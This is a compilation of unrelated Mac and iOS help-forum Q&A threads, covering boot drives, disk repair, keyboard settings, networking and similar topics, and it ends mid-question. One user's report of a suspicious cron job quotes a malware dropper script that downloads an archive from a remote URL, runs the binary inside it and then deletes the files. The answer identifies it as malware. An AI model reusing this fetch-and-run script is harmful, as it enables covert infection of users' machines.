How can I create a bootable drive for ArchLInux on macOS? I'm trying to figure out how to do the equivalent of these instructions for creating an archlinux bootable drive on a Mac. (I'm using a Micro SD to USB adapter.) I found these instructions on partitioning a flash drive, but I'm not sure how to apply them, since the instructions I'm trying to "translate" into macOS terms talk about sectors, and that's very much a lower level than I'm used to working in. To be expressly clear, my question is this: how do I achieve the same stuff as in the instructions using macOS 10.12.6? Thanks!

There is no command in macOS to format a partition to use a linux file system. In other words, there is no equivalent for the Arch Linux mkfs.ext4 command. There are many possible solutions to this problem. Below is one such solution.

I propose that the best way, to accomplish the creation of the bootable drive, is to boot the Arch Linux operation system on your Mac. This will allow you to use the commands shown in the web link you provided. This boot of Arch Linux will be done from a 1 GB or larger flash drive. The advantage to using a flash drive is that you will not have to install Arch Linux on any of your internal drives.

Manual Approach to Creating a Mac Bootable Arch Linux Flash Drive

  Note: You can copy and paste each command below into the Terminal application window. This will reduce the amount of typing and the risk of type errors.

Download an .iso file. The Mac compatible file I chose to download is named archlinux-2017.12.01-x86_64.iso. You can find this file at this Arch Linux web site. This file was downloaded to my "Downloads" folder. I will assume you will do the same.
Open a Terminal application window. Enter the following command to navigate to your "Downloads" folder.

cd  ~/Downloads

Convert this .iso file to a format that is compatible with flash drives. The command below accomplishes this task.

hdiutil  convert  archlinux-2017.12.01-x86_64.iso  -format  UDRW  -o  target.img

The .dmg characters may be appended to the output file name. Enter the following command to check if this occurred.

ls  target.img.dmg

If file named target.img.dmg appears, then enter the next command to rename this file.

mv  -f  target.img.dmg  target.img

Enter the command below to get a before list of drives.

ls  /dev  |  egrep  ^disk\\d+$

Insert your flash drive.
Enter the command below again to get an after list of drives. Next, determine the identifier assigned to your flash drive (e.g. The identifier that did not appear in step 5)

ls  /dev  |  egrep  ^disk\\d+$

  Note: In the subsequent steps, replace diskN with the identifier assigned to the flash drive.

Enter the command below to unmount the flash drive.

diskutil  unmountdisk  diskN

  Note: If you see the error Unmount of diskN failed: at least one volume could not be unmounted, open the Disk Utility application and unmount the volume(s) (don't eject).

Enter the command below to copy target.img to your flash drive.

sudo  dd  if=target.img  bs=1m  of=/dev/diskN

  Note the following:

  This command will require you to enter your login password.
  To view the progress of the copy operation, press the control+T key, while the command is executing.
  Using /dev/rdisk instead of /dev/disk may be faster.
  If you see the error dd: Invalid number '1m', you are using the GNU dd command. Use the same command but replace bs=1m with bs=1M.
  If you see the error dd: /dev/diskN: Resource busy, make sure the drive is not in use. Open the Disk Utility application and unmount the volume(s) (don't eject).

When the 'dd' command completes, you will receive the following pop up message. You should select "Ignore".

  Note: The the disk (flash drive) is readable by your computer. The message should have said: "The disk you inserted was not readable by macOS."

To continue to the next part of this procedure, you will need to leave the flash drive plugged in. If you do need to eject the flash drive, you can either use the Disk Utility application or enter the command given below.

diskutil  eject  /dev/diskN

Initialization of the Micro SD Card

The instructions, you referenced, assume the micro SD card is either uninitialized or has been MBR initialized with no partitions. You may want to preform the following steps to insure your micro SD card is properly initialized.

Enter the command below to get a before list of drives.

ls  /dev  |  egrep  ^disk\\d+$

Using the adapter, plug the micro SD card into the Mac.
Enter the command below again to get an after list of drives. Next, determine the identifier assigned to your micro SD card (e.g. The identifier that did not appear in step 1)

ls   /dev  |  egrep  ^disk\\d+$

  Note: In the subsequent steps, replace diskN with the identifier assigned to the micro SD card.

Enter the following command to initialize the micro SD card.

diskutil  partitiondisk  diskN  1  mbr  free  none  r

Enter the command below to unmount the micro SD card.

diskutil  eject  diskN

Boot Your Mac to Arch Linux

If the Mac bootable Arch Linux flash drive is not plugged in, do so now.
Restart your Mac and immediately hold down the option key, until the Startup Manager appears.
Select the icon labeled "EFI Boot", then select the arrow below the label.
Select "Arch Linux archiso x86_64 UEFI CD" or wait for this to happen automatically.

A Note About Drive Identifiers

Hardware used by machines running the Linux, Unix, macOS and legacy OS X operating systems are given character string device identifiers. In the context of your question, we are only dealing with devices that are drives. The macOS operating system uses diskN to identify HDD, SSD, SD cards, micro SD cards, USB flash drives, etc. The value N is some integer greater than zero. The Arch Linux operating system uses a different scheme. Here, the form of the drive identifier is sdX, where X is a lower case letter in the English alphabet.

Micro SD Card Creation

  Note: Since you are booting to a "Live" version of Arch Linux, I made some changes to the procedure you referenced.

Insert a micro SD card into your computer and record which device identifier it is (dmesg  |  tail)
Make sure it's not mounted (umount  /dev/sdX* or umount  /dev/mmcblk*)
Start fdisk to partition the SD card:

fdisk  /dev/sdX

At the fdisk prompt, create the new partitions:

a. Type n, then p for primary, 1 for the first partition on the drive, the return key to accept the default starting sectors, and +100M for the ending sector.

b. Type t to set the type, then c to set it to FAT.

c. Type n, then p for primary, 2 for the second partition, and press the return key twice to accept default values.

d. Exit by typing w.
Create and mount the vfat filesystem:

mkfs.vfat  /dev/sdX1
mkdir  boot
mount  /dev/sdX1 boot

Create and mount the ext4 filesystem:

mkfs.ext4  /dev/sdX2
mkdir  root
mount  /dev/sdX2 root

Download and extract the root filesystem:

cd  ~/root
wget  http://os.archlinuxarm.org/os/ArchLinuxARM-utilite-latest.tar.gz
cd  ~
bsdtar  -xpf  root/ArchLinuxARM-utilite-latest.tar.gz  -C  root
rm  root/ArchLinuxARM-utilite-latest.tar.gz

Copy boot files to the boot partition:

cp  root/boot/*  boot

Unmount the partitions:

umount  boot  root

Remove the micro SD card from your computer and insert it into the Utilite on the front panel


Cron mail notifies error of suspicious unknown script Thanks to the mail function of the Terminal it came to my attention that there was some kind of cron job being executed with some errors.

The mail of the cron gives this info:

2018-08-02 23:47:22.698 xSf[717:27543] *** Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: '*** -[_NSPlaceholderData initWithBase64EncodedString:options:]: nil string argument'
*** First throw call stack:
(
    0   CoreFoundation                      0x00007fff57d622db __exceptionPreprocess + 171
    1   libobjc.A.dylib                     0x00007fff7eeffc76 objc_exception_throw + 48
    2   CoreFoundation                      0x00007fff57df3d7d +[NSException raise:format:] + 205
    3   Foundation                          0x00007fff59e028ee -[NSData(NSData) initWithBase64EncodedString:options:] + 84
    4   xSf                                 0x000000010b54fd19 INJECTOR_decryptData_RNCryptor + 121
    5   xSf                                 0x000000010b55010a -[l196gKNh f27WaC8u:path:] + 410
    6   xSf                                 0x000000010b54ff2e -[l196gKNh s7PJWuXO:] + 158
    7   xSf                                 0x000000010b552cd1 main + 225
    8   libdyld.dylib                       0x00007fff7fb19015 start + 1
)
libc++abi.dylib: terminating with uncaught exception of type NSException
/tmp/iu.sh: line 6:   717 Abort trap: 6           ./xSf

It seems this was executed by some script located in: ~/Library/sandastros.np/sandastros.np whose content I can't be able to read or decypher.

I checked that script located in /tmp/iu.sh that contains the following:

#!/bin/bash
/usr/bin/curl -s -L -o /var/tmp/xSf.tgz "https://s3.amazonaws.com/xsfer/xSf.tgz"
mkdir -p /var/tmp/xSf
tar -xzf /var/tmp/xSf.tgz -C /var/tmp/xSf/
cd /var/tmp/xSf/
./xSf

func_cccc(){
sleep 120
rm -rf /var/tmp/xSf
rm -rf /var/tmp/xSf.tgz
}
func_cccc &

That URL is reachable but I didn't want to download and open the tar file.
The /tmp folder permissions are properly set, though the iu.sh has my user as owner, so it seems allowing the installation of anything I might have given permissions to it.

Any clue about what is this?

It looks a lot like some kind of malware.

If you do not know where xSF and sandastros.np came from, I would consider the computer compromised and do a full format and reinstall.


Managing devices on iTunes Store I have bought an iPad 2 a few days ago, have configured it but I am unable to use FaceTime or iMessages. After searching a while, I found this page (http://support.apple.com/kb/HT4627). It says how I can manage my devices on iTunes Store but when I follow the steps and visit my account I don't see the MANAGE DEVICES item I should. Apparently the problem I am having is that my iPad is not associated with my Apple ID. The iPad is a brand new, bought on a store.

How do I associate this new iPad with my apple ID?

Another problem is this: if I try to flick the switches for automatic downloads of apps and books the same switches flick to off half second later.

Make sure you've correctly set your Apple ID in the Settings section, for both Facetime and Messages applications, in your iPad.


I used Boot Camp Assistant and can't boot OS X I installed Windows 10 on my Mac using Boot Camp Assistant. When I got into Windows, it asked me if I wanted to install Boot Camp. I selected yes. Now, when I try to restart in OS X, it says "can't locate OS X boot volume"

Additionally, when I hold down the option-key while restarting, I get a windows option, and then a second option that tries to install windows.

Here is a picture of my Disk Management screen and the also the error when I try to restart in OS X.

I feel like the OS X volume still exists, but windows isn't recognizing it. Any help would be appreciated.

Windows can't read APFS.

To get back to macOS you need to hold the  Opt ⌥  key at startup.

BTW, don't ever let Windows adjust anything on your drive. Consider that Disk Management tool as a read-only utility. It doesn't understand how it's being fooled into thinking it's in charge & will break things.


How can I make the Apple Music fonts smaller in iOS 10? I have a perfect eye sight and can read tiny text, too. The Apple Music revamp in iOS 10 has huge text which is very awkward for me and difficult to use. I searched for any setting, but could not find one. Is there any possibility of reducing the size?

No, there's no way to modify the display in Apple Music.


How to disable shift + quotation mark vowel diaeresis (äëöïÿ) I'm using an external US International keyboard.
When pressing the quotation mark button, together with Shift (⇧ + ") some special mode enables.

When I type a vowel, the following comes out: ä ë ö ï ÿ
This is not my desired output, I wish for "a".

Wikipedia told me this is named Diaeresis:

  Diaeresis
  diacritic
  The diaeresis, also spelled diæresis or dieresis and also known as the tréma or the umlaut, is a diacritical mark that consists of two dots placed over a letter, usually a vowel. When that letter is an i or a j, the diacritic replaces the tittle: ï.

But several internet searches have not yielded any results in how to change this behavior.

How can I change this behavior?

What you describe is standard behavior for the "US International PC" input source.  It is intended for Windows users who are familiar with it from that system.  4 keys (` ' " ^) become dead keys for making accented characters used in common European languages.

The fix is to go to system preferences/keyboard/input sources and remove this item and instead use input sources named "US" or "ABC" or "British".

The hardware keyboard called "English International" is the ISO version of Apple's English keyboard. It is used mainly in Europe and has an extra key next to the Z and a differently-shaped return key compared to the ANSI version sold in the US.  It does not require any special input source, all of them work for both ISO and ANSI hardware versions.


Slow network copy between iMac and MacBook Air I am getting a maximum lousy 1,5 MB copy speed between two Macs on my local network. My hardware is:

iMac6,1 (2006)
AirPort Express A1264 (2008)
MacBook Air3,2 (2010)

The AirPort and the MacBook are both 802.11n-compliant according to my findings, but the iMac says "802.11a/b/g (draft-n disabled by default)".

Is 2MB/s the best I can expect with the current hardware?
Is "draft-n" something I can "enable" on the iMac? If so, how?
What speeds are the best possible between units that are all 802.11n?

1) I do not think so.

2) You need Apple Extreme 802.11n Enabler for Mac, more Information is How to tell if 802.11n-enabling software is installed or an OSX Update. See HT2447.


Using "tar" command in Terminal for multiple folders/files I have many files like these

SomeDirectory/RandomName.spa
SomeDirectory/AnotherRandomName.spa
SomeDirectory/YetAnotherRandomName.spa

...

I want to unpack every .spa file in SomeDirectory to their each seperate folders, with the same name. I would use something like - tar -xvf, but with what attributes?

Afterwards I want to pack every folder in SomeDirectory again back to RandomName.spa, (keeping the name of folder). The command would be tar -cvf, but with what attributes?

Assuming that (1) the .spa files are actually .tar archives, (2) you are in SomeDirectory, and (3) that directories with the names of the archives you want to extract do not exist, the following piece of code should achieve what you want:

for a in *.spa
  do a_dir=`expr $a : '\(.*\).spa'`
  mkdir $a_dir
  tar -xvf $a -C $a_dir;
done

Or in case you prefer a one-liner:

for a in *.spa; do a_dir=`expr $a : '\(.*\).spa'`; mkdir $a_dir; tar -xvf $a -C $a_dir; done

The first line in the for loop strips the .spa from the archive name and assigns it to a variable, which is used in the second line to make a directory with that name, and in the third line in tar with the -C argument.

The -C argument in tar only changes directory during extraction and doesn't actually make one, making things a a bit more complicated than they should be.

Credit: This answer is a slight modification of https://superuser.com/a/748567/226246


How do I get a notification sound on my iPhone 5? For apps like Instagram or Snapchat, when my screen is on the lock screen and a notification shows up, there is no sound.  Can I enable notification sounds for Instagram or Snapchat?

Method 1

Settings > Notification Center > Snapchat > Toggle Sound

Method 2

Snapchat > Settings Button > Notifications > Toggle it


Is it possible to link Private Keys and Certificates across Keychains? I've been given ownership of various iOS apps to build, and submit to iTunes Connect, but have run into a very obnoxious issue. Distribution Certificates must be uniquely named, and due to various reasons I have 2 certificates with a single individuals name.

If there are duplicate named certificates, even though they have unique IDs, the build process dies with a Code Sign error that states certificates must be uniquely named. This leads me to a situation where I have to delete the signed certificate(s) I have, download the one I want, rinse, repeat.

And now there's a more difficult problem. I'm reaching a point where these builds are mostly able to be run completely automated via the xcodebuild and xcrun command line binaries, except for the above problem.

Is it possible to store the Public/Private keys somewhere "global", that will be available to any keychain request, and make a new keychain to hold only a single signed certificate, but allow the two keychains to work together in order to pass code signing?

It is not possible to link private keys and certificates across multiple Keychains. There needs be a third hidden item called an identity that bonds these two items together. The identity, certificate, and private key need to be in the same Keychain.

Specify the Keychain

Using Keychain Access, create a separate Keychain with a certificate and private key in each. In your situation this will mean creating two separate keychains.

Tell codesign to look for your specific Keychain using the command line option --keychain; the path provided to the Keychain must be absolute.

You can provide this option and path to codesign within Xcode through the build settings user interface.


Crashed when creating a partition - now missing drive space! Just a couple of hours ago, while I was taking a GNU course, I decided to create a partition on my SSD to have ubuntu installed, meanwhile the disk utility was doing that, suddenly it just crashed and restarted itself, leaving 5GB free from any partition, I used diskutil list and this is the info it provided me:

/dev/disk0 (internal, physical):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID_partition_scheme                        *121.3 GB   disk0
   1:                        EFI EFI                     209.7 MB   disk0s1
   2:          Apple_CoreStorage Macintosh HD            120.5 GB   disk0s2
   3:                 Apple_Boot Recovery HD             650.0 MB   disk0s3
/dev/disk1 (internal, virtual):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:                  Apple_HFS Macintosh HD           +115.0 GB   disk1
                                 Logical Volume on disk0s2
                                 3B12580F-53CE-4FE2-A806-FB80AB07DD82
                                 Unlocked Encrypted

There is no additional partition on the disk utility and I was wondering if it is possible to recover this space.

My Mac is a MacBook Pro 13" Retina (Early 2015) 128 GB SSD

In fact there isn't any space free on your disk in the sense of unallocated disk space. But you probably resized the Logical Volume Macintosh HD (disk1) residing in the Logical Volume Group Macintosh HD (disk0s2).

To expand the Logical Volume Macintosh HD to the full available size you have to use an undocumented command: diskutil cs resizeVolume UUID size.

Boot to your Recovery HD by pressing cmdR while booting.
Open in the menubar Utilities->Terminal
Enter diskutil cs list to get a list of all CoreStorage items.
Enter diskutil cs unlockVolume LVUUID (LVUUID is the UUID of the Logical Volume, usually it's the last UUID in the list you got earlier) to unlock the encrypted Logical Volume Macintosh HD. You have to enter the FileVault passphrase now.
Enter diskutil cs resizeVolume LVUUID 0g (0g is a magical number here - it will expand the Logical Volume to the whole available size of the LVG).
Enter exit and quit Terminal
Reboot to your main volume


Second screen is detected by OSX but isn't turned on I have a MacBook Pro 2017, running High Sierra 10.13.3 (17D102) connected to a ThinkPad USB-C Dock, and  two Dell U2412M screens attached to the dock, one by HDMI to Thunderbolt and the other by DisplayPort to DisplayPort.

OSX successfully detects both screens, as seen in Displays dialog,

But for some reasons, most of the time, the secondary screen stays turned off. It might, or might not, wake up anytime during my work on the computer. The behavior of it is pretty inconsistent.

I tried changing the connections to every possible variation, DisplayPorts only, switching ports, literally everything, but the behavior of the second screen keeps being unstable.

What am I missing? Why is the second screen mistreats me like that?

Multiple monitors connected as your by DisplayPort (and/or HDMI converted from DisplayPort) served by a USB-C dock won't work on macOS. It will work on Windows, which is what Lenovo advertises.

For macOS you'll need a Thunderbolt dock instead to be able to do this.

A different solution is to plug one monitor into the dock, and the other monitor into the Mac. However you'll need to connect two cables to the computer this way, which is probably what you want to avoid when using a dock.


Screen Share by Thunderbolt Cable I have 1 Macbook Air and 1 Macbook Pro. The problem is Macbook Pro has a broken screen so I need to view it by Screen Sharing app in Macbook Air.

I setup Thunderbolt bridge between Macbook Air and Macbook Pro by Thunderbolt cable.

Both have assigned IPs by Thunerbolt connection.

I can successfully connect Macbook Pro by Samba:

smb://169.254.94.117

but screen sharing does not work with the same IP and Screen Sharing app of the Mac OS X.

vnc://169.254.94.117

If I connect these computer to the same router via ethernet cable, I can view the Macbook Pro screen by Screen Sharing app over ethernet connection.

So, why can not I use Screen Share functionality with Thunderbolt IP which seems to be working OK for samba file sharing connection?

How can I fix this issue?

It sounds to me like screen sharing is not enabled on the MacBook Pro. To fix this, we will remotely enable screen sharing using SSH. If remote login is also not enabled, this answer will not work.
Open the terminal app, and type:

ssh username@169.254.94.117

Then enter the password for that username. Then type:

sudo defaults write /var/db/launchd.db/com.apple.launchd/overrides.plist com.apple.screensharing -dict Disabled -bool false

This will prompt you for an administrative password. Enter it, then type:

sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.screensharing.plist

This will enable screen sharing on the target computer. Please comment with any questions or comments or if this solution doesn't work.


Search finder for all photos in a given folder? Prior to iOS using the HEIC image format (I'm aware this can be turned off) I used to be able to search for all images in a given folder taken on my iPhone, by using the search feature of macOS finder and searching for all JPG files as below.

But now I can't do that so easily as there is a mixture of image formats. Is there a way I can search for "kinds = all photos"?

Type in "kind:Image" and hit enter. I got results for .png, .jpg, .svg, .NEF, .CR2 etc.


Can I use Kingston RAM in a MacBook Pro? I have MacBook Pro 15-inch, early-2011. I want to upgrade my RAM from 4 GB (2+2) to 6 GB (2+4). Can I use Kingston RAM (Kingston 4GB DDR3 1333 Bus SOD)? Or is there specific RAM made for Macs?

I upgraded the memory in my Early 2011 MacBook Pro from 4 GB (2x2) to 8 Gb (2x4) using the Crucial site, and haven't had any problems at all.

For the record, I also did the same with a brand new iMac, swapping out both memory modules with 2x4 GB from Crucial.

It worked out to be about 1/3 of the price that Apple charges for the same memory.


Problems with network connection after switching USB LAN hub (despite using wifi connection) I have a 2018 MBP running 10.14.x

I had it connected to a thunderbolt / USB-C to ethernet hub, this model. Which i was using as a USB hub and ethernet adaptor.

I recently moved desks and started using another thunderbolt / USB-C to ethernet hub the same model as the one above, but a different physical unit.

As soon as i did this the network connection to this machine was patchy, it kept dropping connection, even though the rest of the office was fine. Currently im working using wifi only, but the laptop keeps losing its IP. I can temporary fix the issue, but either renewing my DHCP lease, or turning off wifi and turning on wifi again. But this only lasts a while before the problem comes back. Any ideas ?

So far ive tried the following, but to no avail :

Ive delete the USB LAN bridge from system preference > network.
Run the computer using a wifi connection only
Changed the location in system preferences > network, from "auto" to custom, to try and reset any network specific pre-sets.

Ive had this issue in the past when moving computers between desks and connecting them to new USBC ethernet adaptors, but in the past deleting the connection type in system preferences > network seemed to solve the issue.

Unfortunately this is a known issues with some USB-C hubs and can mostly be blamed on shielding, some devices are worse, some better. There‘s less of an issue with 5GHz WiFi networks if that‘s an issue. Some people have also reported that wrapping metal foil around the USB-C cable works. But your best bet is probably switching your USB-C hub.

More information can be found in this thread: USB-C Dongles killing Wifi on 2016/2017 MacBooks – Who’s to blame?


Diagnosing possible failing drive to see if it's worth reinstalling macOS Here's what I'm working with:

MacBook Pro 8,1 (13-inch, early 2011), High Sierra 10.13.6
drive is not original to the MBP, it's a Samsung 840 Pro SSD, 500GB, but was swapped out when the machine was near brand-new, so pretty damn old

Issues:

one user account (non-admin) no longer appears on login screen
admin account has missing-keychain errors
running extremely slowly, application icons don't load into Dock or Finder
"Can't open System Preferences because the app may be damaged or incomplete" (after long delay)

Actions taken:

Booted into safe mode, still running badly, no real difference
Tried to run Apple diagnostics (booting while holding down D)
Unable to run diagnostics DEC500
Attempting to run Diagnostics from Apple Recovery
Tried booting while holding down Cmd+S, I thought I was going to
get a to a commpand prompt and try "fsck -fy" to fix file system issues,
which I suspected because of the missing user account and keychains

Instead it went to a "starting internet recovery" screen then to Apple Hardware Test 3A222

Ran the basic test, result was:
Alert! Apple Hardware Test has detected an error.
4xxx/4/40000005: "Battery"

Ran the extended test, results was:
Same result but with a 8 downward-pointing caret characters and an apple character before "Battery"

Seems likely the battery error is a red herring; found tons of posts on forums saying that you may this error with any 3rd party battery at any time
(this battery is 3rd-party, replaced September 2018)
Booted in install/recovery mode with Cmd+R and ran Disk Utility > First Aid on volume.

  First Aid process has failed. If possible back up the data on this volume.
    error: (oid 0x117225) om: btn:oinvalid o_cksum (0x2ceae87d1d98eca3)
    Object map is invalid.
    The volume /dev/rdisk2s1 could not be verified completely
    FIle system check exit code is 8
    Restoring original state found as mounted.
    File system verify or repair failed.
    Operation filed.

Removed drive, attached to another Mac via USB/external enclosure

Disk Utility sees the drive but no volumes under it
Mount button is disabled
First Aid says "Problems were found with the partition map that might prevent booting"

shows up like this from diskutil list command:

  /dev/disk2 (external, physical):
     #:                       TYPE NAME                    SIZE       IDENTIFIER
     0:      GUID_partition_scheme                        *512.1 GB   disk2
     1:                        EFI EFI                     209.7 MB   disk2s1
     2: 7C3457EF-0000-11AA-AA11-00306543ECAC               511.9 GB   disk2s2

tried running mounts from Terminal:

   mount /dev/disk2s2
   ount: /dev/disk2s2: unknown special file or file system.

   sudo mount -t hfs /dev/disk2s2 /mnt (after creating /mnt)
   mount_hfs: error on mount(): error = -1.

currently trying ddrescue to create an image and see if that can be mounted with any of the previously-attempted means, just to recover some data.

What could be the issue here?  I'm trying to evaluate given all of this, whether I might try to reinstall the OS on this drive, or write it off as too old/definitely failing.

Is it at all possible that the issue with the partition table that seems to have screwed this all up was a random glitch that may be solved by an erase and OS reinstall?

I believe you're overlooking the obvious:

  Removed drive, attached to another Mac via USB/external enclosure

  Disk Utility sees the drive but no volumes under it
  Mount button is disabled
  First Aid says "Problems were found with the partition map that might prevent booting"

Remember, First Aid and fsck can only fix logical problems (filesystem level), they cannot fix physical problems with the drive itself.

Your drive is failing.

One of the tests that should have been run was to get the SMART status of the drive in question (you cannot do this via USB)

$ diskutil info disk0 | grep -i smart

If it comes back as anything but "Verified," you've got a failing disk.  This test however, isn't the end-all.  It's good for a quick diagnostic, but may give you a false positive.  Even if you get "Verified" you'll still want to run a disk utility like Disk Drill or Disk Warrior to do a deeper scan.

Now, given that this is a 2011 MacBook Pro, it's a coin-toss as to whether you should spend money fixing it.  A new Samsung EVO SSD can be had for about $60 USD, but no matter how inexpensive the drive, you're still left with a 9+ year old Mac.

Personally, I'd look at either finding a super cheap SSD and resurrect it for knocking about, or I would part it out (worth more on eBay as parts than as a whole) and put the funds toward a new machine.


No music contents on iPhone after synchronization Every time I synchronize my iPhone with iTunes on my computer, for example, when I want to add new music to my iPhone, I suddenly lose all my music on the iPhone.

I recently wanted to add a new album to my iPhone. So I plugged it in via USB, checked the album for synchronization in iTunes and started synchronization. After a while it finished and said "Synchronization done. You can disconnect your iPhone now blah blah…".

But when I looked at my iPhone and opened the iPod app, it says: "No contents". How is this possible? In iTunes there is an overview telling you how much space is full and what the space is used for. There I see 4,5 GB for Apps, 7 GB for music and some space for other stuff. On my iPhone I can check the space too, and there it also says that there should be the 7 GB of music, but the iPod app doesn't show any contents.

I also tried to restore my iPhone multiple times with different back-ups. It works until I sychnronize my iPhone the next time. Another strange thing is that restoring my iPhone isn't easy at all. It often aborts, showing random error messages (6,9,14). This is really annoying and I'm about to throw my iPhone against a wall.

Has anyone had similar problems and found a solution?

iPhone:

iPhone 4 (32 GB)
iOS 4.3.5
no jailbreak

PC:

iTunes 10.4.0.80
Windows 7 64

I think this might be your problem: Windows 7 64

If you can, try to sync your phone from a 32 bit machine. Since the dawn of the iPhone Apple hasn't played nicely with 64 bit flavors of Windows. This fellow says there's a HotFix from MSFT to fix the issue.


How to use a MBP with broken graphics chip as a server? I have a 2012 MBP and the graphic chips gave up and the repair costs are huge.

Is there a way to use it as a Unix server somehow? It is still a powerful machine and if I  could boot into a mode without using anything that needs graphics that would be great.

Thanks!

Build the drive with the software on a separate machine or remote log in to it and set it up that way.

I have 2 machines I remote log in to but not due to a graphics failure so I can't say if it will have an error on booting


Apple Maps: Renaming Favorites or Marked Locations There must be some really obvious trick which has escaped me.

If I favorite a marked location on MacOS Maps, or on iOS Maps, I can’t see how I can give it a custom name.

Tapping or clicking on Info doesn’t seem to help, and I can’t see any other method.

I have tried the technique of selecting favorites from the search bar (in MacOS), selecting edit and trying, but the text remains uneditable.

I would even consider a third party app if there is one.

I am using MacOS Mojave, and iOS 12.

To rename favorites in Maps on macOS (source):

Click on the magnifying glass in the search field
Click Favorites
Click "Edit" in the bottom right
Click on a Favorite's name to modify it
Press return or click out of the editing field, then click "Done"

To rename favorites in Maps on iOS:

Swipe up the "card" at the bottom that contains recent locations
Scroll to the bottom and tap on "Favorites"
Swipe from right to left across the favorite whose name you want to change, then tap "Edit Name"
Enter a new name, then tap "Save"

I've tried both of these methods on macOS 10.14.2 and iOS 12.1.2 and confirmed that they both work.


How to remove Kaspersky icon on menu bar? Downloaded the Kaspersky app just for fun and to give it go. It had a trial time so when the time was up, I simply just dragged the app into the trash can and then emptied it. However, the kaspersky "K" icon on the menu bar just won't go away.

It kept prompting me to update the app but I can't even update because I've already deleted it. It has the option for me to "quit" but when I restart, it appears again.

I've tried deleting the file over at library/applications support but it still won't go away.

Here is the official uninstallation tool for OS X:

http://media.kaspersky.com/utilities/ConsumerUtilities/Uninstall_Kaspersky_Internet_Security.zip

Download and run this package to completely remove the app.


Use Homebrew LLVM over Xcode I'm trying to compile an algorithm package received by someone else. Basically all I need to do is run a bash script and everything will be compiled automatically. Now upon executing the script, I get a lot of errors, such as:

clang: error: unsupported option '-fopenmp'

My understanding is that the Apple LLVM does not support OpenMPI, so what I did is install the newest gcc version by installing LLVM (version 4.0) through Homebrew. I tried to add this to my bash profile by adding the following (found on the web – my apologies, this isn't my home terrain):

# export PATH=/usr/local/opt/llvm/bin:$PATH
# export CPLUS_INCLUDE_PATH=$(llvm-config --includedir):$CPLUS_INCLUDE_PATH
# export LD_LIBRARY_PATH=$(llvm-config --libdir):$LD_LIBRARY_PATH

But this unfortunately didn't do the trick. I get the same errors, and I found out my computer still uses clang:

$ g++ --version
Configured with: --prefix=/Applications/Xcode.app/Contents/Developer/usr --with-gxx-include-dir=/usr/include/c++/4.2.1
Apple LLVM version 8.1.0 (clang-802.0.42)
Target: x86_64-apple-darwin16.5.0
Thread model: posix
InstalledDir: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin

Does anybody know what to do? I can't use another installer by specifying the version, since it's a long bash script, and I wouldn't know what to change where.

You change the script - or better use a build system makefile, cmake, waf etc to have the full path to the C++ compiler and not rely on the $PATH.

Alternatively see of the package has been ported to Homebrew and use that or if only to fink or MAcPorts see how they changed the script.

Lastly make the build as a Homebrew formula making use of Homebrew's own build tools


What iPad app can I use to manage the locations where I took some photos? I use iPhoto on the Mac and it can show a map with all the locations where I took photos. Is there a similar app on the iPad? With a map I can zoom in and out…

You might be interested in one of this choices:

my favorite

MapProjector with Google Maps

Features:

Create an unlimited number of maps with unlimited landmarks
Photos - Import photos from your Photo Album using their own locations.

Exif Wizard

Then there is the iPhoto app for iPad :)


Preview Image Dimensions How can I quickly view the dimensions of an image that I have open in Preview?  Looking at the menu options, I'm not seeing an obvious choice, such as "properties", to see such info.

What you want is Tools -> Show Inspector.

This will then display the inspector, with four tabs.  The first one is titled "General Info", and includes the dimensions in pixels next to the label "Image size".


Both Safari and Webkit crash on startup I'm trying to debug a Webkit problem, and I seem to have botched my Safari installation: whenever I try to launch any version of Safari or Webkit, it crashes immediately with an error like this:

  Dyld Error Message:
    Library not loaded: /System/Library/PrivateFrameworks/WebKit2.framework/Versions/A/WebKit2
    Referenced from: /System/Library/StagedFrameworks/Safari/Safari.framework/Safari
    Reason: image not found

I wasn't able to reproduce my bug in my installed Safari (6.0.5 on Mountain Lion (10.8.4)) but I was on the Webkit nightly I downloaded and installed (r151773).

I was trying to pinpoint the Webkit revision where this became a problem, so I downloaded several more older nightlies, but when I tried launching any of those, they failed to launch with the error above. When I went back to the newer nightly, then to my original Safari, those were all showing the error as well.

I can't find an installer to reinstall Safari 6.0.5. In this answer I found a route to download and install a developer build of Safari 6.1, but that also fails to launch with the same error.

How can I restore my Safari? And, once I get Safari back, is there a way to try several nightlies of Webkit so I can narrow down the scope of the change which created my problem?

You could try doing an upgrade install of OS X from the recovery partition. It should replace preinstalled frameworks and applications with the initial versions but keep user files and settings in place. I have done it twice so far and it solved multiple issues both times, so I have started to recommend it as a troubleshooting step here, even though no-one ever does it.

Another way to restore the directories for Safari or frameworks might be to copy them from a VM.


Can I Swap Out A MacBook Hard Drive For Windows I recently purchased a used 2014 MacBook with knowing it has no hard drive. However I do not care for Mac OS, the question here is can I effectively run Windows 10 on a MacBook just by installing a Windows SSD?

If so do I need to format anything or is it good to go.

The SSD will need to be formatted / partioned to work with the « bios » on the macbook, after that Bootcamp will be able to allow you to run windows from a separate partition.

I have not done this, but many do have both OSx and windows installed and working on one machine.

Check out Bootcamp : https://support.apple.com/boot-camp.

Edit : macs don’t have « bios »  (only used that term as it is easily understood by those coming from the pc world...) instead there is a bootrom process to get to the desktop from pressing the on button, this link gives a reasonable explanation of that process which checks ram, the self tests and runs the efi to get to the desktop. See http://www.hawkdive.com/2017/09/understanding-mac-boot-process.html?m=1


Adding new contact to iMessage group chat With iMessage there is a group chat feature similar to the feature in Whats App. But I can't find a way to add new people to an ongoing group chat.

Is this possible?

No. Its not possible, though its nice feature to add to in next version.


Thunderbird not accepting Apple RSS feeds I'm trying to subscribe to an Apple RSS feed. Thunderbird keeps telling me that Apple RSS feed URLs are invalid. For example, I can't subscribe to feed://images.apple.com/main/rss/hotnews/hotnews.rss Can I fix this problem, or is it just a problem with Apple's feeds?

Try using http://images.apple.com/main/rss/hotnews/hotnews.rss instead of feed://images.apple.com/main/rss/hotnews/hotnews.rss.


Constant SMC resets required I have a 2009 Macbook Pro, 4GB RAM, 2.26GHz Intel Core 2 Duo. Check battery warning but nothing else overtly wrong.

Since I updated to Mavericks (from Snow Leopard), it has been running incredibly slowly and the fan has been spinning up constantly. Icons bouncing for a long time in the dock before launching (especially Skype), really slow to type in the new Pages (old one is fine), etc., despite Activity Monitor showing low or medium memory pressure and the CPU being at relatively low usage.

